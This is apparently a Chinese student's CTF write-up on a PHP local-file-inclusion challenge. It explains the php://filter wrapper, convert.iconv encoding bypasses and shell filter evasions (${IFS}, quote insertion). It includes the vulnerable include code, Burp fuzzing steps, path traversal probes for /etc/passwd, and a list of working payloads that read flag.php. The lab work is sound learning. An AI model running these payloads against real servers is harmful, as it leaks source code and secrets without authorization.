web6-file_include (php:///filter伪协议+convert.iconv的php特有绕过)
一.整体思路
阅读代码,这是一道文件漏洞题,按照之前的思路,尝试?filename=../../../etc/passwd和?filename=../../../proc/self/cmdline 能不能行得通,发现有输出,但作用不大,只是更加确定了他是文件上传漏洞而已。
小白从阅读别人的wp开始,整体的思路是通过php://filter和编码转换绕过过滤机制。
二.基础知识
2.1php的伪协议
- 概念:它是一个可以在php中进行
数据过滤和流处理的协议。可以通过一些特定的过滤器来处理各种数据流,包括文件,HTTP请求,以及其他的输入和输出数据流。这些过滤器可以在避免php代码被执行的情况下读取源码,那为什么要避免代码被执行呢?可能会触发危险操作,如代码被删除,严重的可能承担法律责任哇....- 语法:
php://filter/[标准输入输出流标识][使用的过滤器]/resource=文件- 形如:
php://filter/read=convert.base64-encode/resource=check.php,php://input,这里着重介绍前者- 各参数解释:
[标准输入输出流标识]:
1.read:标准输入流(读取文件),这里使用read读取文件
2.write:标准输出流(写入文件)
3.和其他的如:php://temp(临时流)和php://memory(内存流)
[使用的过滤器]:
1.convert.base64-encode:base64编码,这里使用base64编码,为什么要编码呢?AI的答案是为了让机器识别不出是check.php代码。
2.convert.base64-decode:base64解码
3.string.rot13:ROT13字符替换
4.zlib.deflate:压缩
/resource=文件:指定要读取的文件夹(check.php)
2.2php的绕过规则(这里也着重复习下,因为课堂上讲到了sql的绕过,包括之前的web4题目里也都遇到过绕过的写法)
回顾之前:
空格的绕过:${IFS},例:cat${IFS}flag,显示为:cat flag
'' : 单引号: 例:c''at flag,显示为:cat flag,
"" : 双引号: 例如同上这种规则的绕过回到当下:- 什么是字符集编码转换(convert.iconv)
语法:convert.iconv.<输入>.<输出编码>或convert.iconv.<输入>/<输出>
作用:将文件内容从一种字符集转换为另一种,可能因编码差异过大导致文件内容变形,从而绕过过滤或直接泄露源码。
eg: covert.iconv.UCS-4.UCS-4BE -->将指定的文件从UCS-4转变为UCS-4BE输出
eg:playload:?filename=php://filter/convert.iconv.UTF-7.UTF-16*/resource=flag.php -->将utf7变为utf16*2.3.burp爆破的详情解释:
三.代码分析
这题的代码量很小,也很好理解,怪不得难度为1。但我这种小白还是要勤勤恳恳啃代码呀~
<?php
highlight_file(__FILE__); #显示当前文件的源码
include("./check.php"); #强制加载当前目录下的check.php
if(isset($_GET['filename'])){
$filename = $_GET['filename']; #用户可控输入
include($filename); #动态文件包含漏洞点
}
?>
四.开始解题!
#1.通过构造这个playload,我们发现显示不出来有用的内容,于是猜测被过滤掉了
?filename=php://filter/read=convert.base64-encode/resource=check.php
#注意这个url准确性,这里是读取,所以用read没问题,但下面的playload就不能有read了,否则burp里response点谁都出不来flag!!!煮波就是在这栽的跟头!
#2.于是换方法进行绕过,playload如下
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php
#这里是怎么知道要选择这一套组合呢???原来用的是burp哇
具体操作如下:
1.我们想通过base64来混淆视听,让机器识别不出我们在阅读php代码,于是用到了php://filter这个为伪协议
/?filename=php://filter/read1=convert.base64-encode/resource=check.php

2.发现并没用,被过滤了,于是绕过,这里用到PHP 的 iconv 扩展,并且用convert.iconv.<输入编码>.<输出编码>这个语法。
php支持的编码有这些:
php支持的编码有:
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
注意:
1.playload的正确性,前面不要加read!!要记得把输入和输出编码的位置用a,b留出来,点击右上角的add$添加,这里的作用是为了你后续的匹配,可以更改这里的a,b
2.这里的爆破选择最后一个的话,要设置两个playload set,php支持的字符集在下方,将其保存在kali文件里,为了更迅速的出答案,这里我进行了拆分。
3.最后,爆破它!!!



4.查看爆破check.php结果,发现没重要信息,那猜测在flag.php中(注意这里的的response不是什么组合都能给出信息,需要在burp上点开一个个去尝试,这也就是为什么我设置字典的时候叉开设置,减少工作量,我这里只是用图片举个例子)

5.于是换flag.php,成功!!

playload:
#这是我的答案
/?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php
#看过其他博客,这些也可以
/?filename=php://filter/convert.iconv.UTF-4*.UCS-4BE/resource=flag.php
/?filename=php://filter/convert.iconv.UTF-8.UCS-2/resource=flag.php
/?filename=php://filter/convert.iconv.UTF-8*.UCS-2/resource=flag.php
/?filename=php://filter/convert.iconv.UTF-7.UTF-32/resource=flag.php
/?filename=php://filter/convert.iconv.UTF-32*.UTF-4LE*/resource=flag.php
/?filename=php://filter/convert.iconv.UTF-8*.UTF-32*/resource=flag.php
/?filename=php://filter/convert.iconv.UTF-7.UTF-16*/resource=flag.php


浙公网安备 33010602011771号